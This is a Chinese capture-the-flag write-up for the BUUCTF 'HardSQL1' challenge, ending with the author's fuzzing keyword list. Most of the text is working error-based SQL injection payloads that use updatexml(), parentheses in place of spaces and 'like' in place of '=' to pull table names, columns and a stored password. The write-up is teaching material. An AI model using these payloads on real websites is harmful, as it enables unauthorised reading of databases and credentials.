[极客大挑战 2019]HardSQL1

提示(最后有我自用的字典,  需要可以自取)

  1. 空格等号绕过
  2. 报错查询
  3. 当显示不全时left(),  right(),  substr(),

[极客大挑战 2019]HardSQL1_第1张图片

拿到题目以后直接fuzz

这里发现过滤了  '='  '空格以及空格的变式/**/'  'union'  但是updatexml还在还可以使用报错注入,  空格可以用()代替,  而=则可以用like代替

[极客大挑战 2019]HardSQL1_第2张图片

[极客大挑战 2019]HardSQL1_第3张图片

payload:

1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

这里爆出表名H4rDsq1

[极客大挑战 2019]HardSQL1_第4张图片

payload:

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

出了字段,  现在查密码

[极客大挑战 2019]HardSQL1_第5张图片

payload:

1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#

到这里只显示了一半的flag

接下来有两个函数可以使用right和substr

[极客大挑战 2019]HardSQL1_第6张图片

首先right

payload1:(right)

1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))#

payload2:(substr    !!注意这里只是提示,  这道题禁用了substr)

1'or(updatexml(1,concat(0x7e,(select(substr(password,15,15))from(H4rDsq1)),0x7e),1))#

right('想要取的字段',  '从右到左取多少个'),  left同理

substr('想要取的字段',  '从左到右第几位开始',  '取几个')

[极客大挑战 2019]HardSQL1_第7张图片

测试过滤字典(只是我自用的,  平时按着需求添加的,  如有缺陷请自行添加)

union select
union/**/select
union
select
ascii
substr
from
or
and1=1
and 1=1
updatexml
information_schema.schemata
information_schema.tables
information_schema.columns
handler
group_concat
sleep
length
()
=
#
--
%23
>
<
=
^
table_name
table_schema
column_name
information_schema.tables
information_schema.schemata
information_schema.columns
where
,
database()

你可能感兴趣的:(BUUCTF,web题,mysql,数据库,ctf)